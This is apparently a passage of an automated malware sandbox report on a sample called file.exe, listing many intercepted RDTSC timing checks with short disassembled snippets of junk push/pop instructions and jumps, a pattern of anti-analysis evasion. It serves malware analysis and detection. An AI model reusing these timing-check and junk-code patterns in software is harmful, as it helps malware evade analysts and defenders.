Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63570D second address: 635711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635711 second address: 63571D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63571D second address: 63572B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6928B6AE76h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63572B second address: 635734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635734 second address: 63573A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63573A second address: 635740 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635740 second address: 635746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63AE1C second address: 63AE39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4593h 0x00000007 jne 00007F6928EA4599h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B2B7 second address: 63B2D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6928B6AE81h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B2D1 second address: 63B2DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E64A3 second address: 5E64B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6928B6AE7Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B486 second address: 63B4A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6928EA4597h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F5D6 second address: 63F5EC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6928B6AE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F6928B6AE7Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F5EC second address: 63F5FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 popad 0x0000000a push ebx 0x0000000b jo 00007F6928EA4586h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F863 second address: 63F869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F869 second address: 63F86F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F86F second address: 63F88B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6928B6AE85h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F88B second address: 63F8B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6928EA4593h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F8B7 second address: 63F8BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FB77 second address: 63FB98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4594h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F6928EA4586h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FB98 second address: 63FBA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643124 second address: 643143 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4596h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643290 second address: 6432A0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6928B6AE76h 0x00000008 ja 00007F6928B6AE76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6432A0 second address: 6432AA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6928EA458Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6432AA second address: 6432C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F6928B6AE7Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643888 second address: 643892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F6928EA4586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643892 second address: 643896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643896 second address: 6438AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6928EA4586h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F6928EA4586h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AFBA second address: 64AFBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649520 second address: 649526 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649813 second address: 649819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649819 second address: 64981F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64981F second address: 649825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649825 second address: 64984F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6928EA45A4h 0x00000008 jmp 00007F6928EA4598h 0x0000000d jng 00007F6928EA4586h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64984F second address: 649853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649B62 second address: 649B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649B6C second address: 649B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649B70 second address: 649B74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A735 second address: 64A74D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6928B6AE82h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A74D second address: 64A751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A751 second address: 64A757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A757 second address: 64A760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A760 second address: 64A766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A766 second address: 64A77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6928EA4586h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F6928EA458Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A77D second address: 64A781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A9CE second address: 64A9EB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6928EA4595h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F6928EA458Dh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64ACF2 second address: 64AD09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F6928B6AE76h 0x0000000b push eax 0x0000000c pop eax 0x0000000d jbe 00007F6928B6AE76h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650524 second address: 650528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650528 second address: 65053E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE82h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6534D8 second address: 6534DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653780 second address: 653786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653786 second address: 65378A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65378A second address: 65378E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65378E second address: 6537A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6928EA458Dh 0x0000000d jnc 00007F6928EA4586h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6537A9 second address: 6537AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6537AD second address: 6537B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6928EA4586h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6537B9 second address: 6537D4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c jmp 00007F6928B6AE7Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653B7A second address: 653B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653B7E second address: 653BA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6928B6AE7Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007F6928B6AE85h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653BA6 second address: 653BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6928EA458Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C76E second address: 65C777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A751 second address: 65A755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A755 second address: 65A75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A882 second address: 65A886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A886 second address: 65A8A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F6928B6AE78h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A8A9 second address: 65A8C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4599h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65ABCF second address: 65ABE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65ABE3 second address: 65ABE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65ABE9 second address: 65AC09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6928B6AE7Dh 0x0000000d jmp 00007F6928B6AE7Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AC09 second address: 65AC0F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AC0F second address: 65AC1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jl 00007F6928B6AE76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AC1F second address: 65AC23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AC23 second address: 65AC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jnp 00007F6928B6AE76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AC36 second address: 65AC3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AC3A second address: 65AC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AC40 second address: 65AC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AF20 second address: 65AF2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AF2C second address: 65AF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6928EA4586h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B0C3 second address: 65B0D7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6928B6AE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F6928B6AE76h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B221 second address: 65B225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B3A8 second address: 65B3C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6928B6AE76h 0x0000000a popad 0x0000000b jmp 00007F6928B6AE7Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B3C1 second address: 65B3C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B3C7 second address: 65B3CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B57B second address: 65B59F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Eh 0x00000007 jmp 00007F6928EA4592h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B59F second address: 65B5A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B5A5 second address: 65B5A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B71E second address: 65B724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B724 second address: 65B728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B728 second address: 65B72C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B72C second address: 65B75D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6928EA4593h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6928EA4590h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B75D second address: 65B761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B761 second address: 65B771 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6928EA4586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B771 second address: 65B77B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6928B6AE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A366 second address: 65A37D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6928EA458Ch 0x00000008 jnl 00007F6928EA4586h 0x0000000e pushad 0x0000000f jl 00007F6928EA4586h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6630D9 second address: 6630E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662B45 second address: 662B4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662B4B second address: 662B51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662C85 second address: 662C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662C8B second address: 662C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662C8F second address: 662C93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662C93 second address: 662C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662E25 second address: 662E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6928EA4586h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E16C second address: 66E176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E176 second address: 66E17A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DCF9 second address: 66DD2A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007F6928B6AE7Ah 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007F6928B6AE76h 0x0000001b jmp 00007F6928B6AE81h 0x00000020 rdtsc
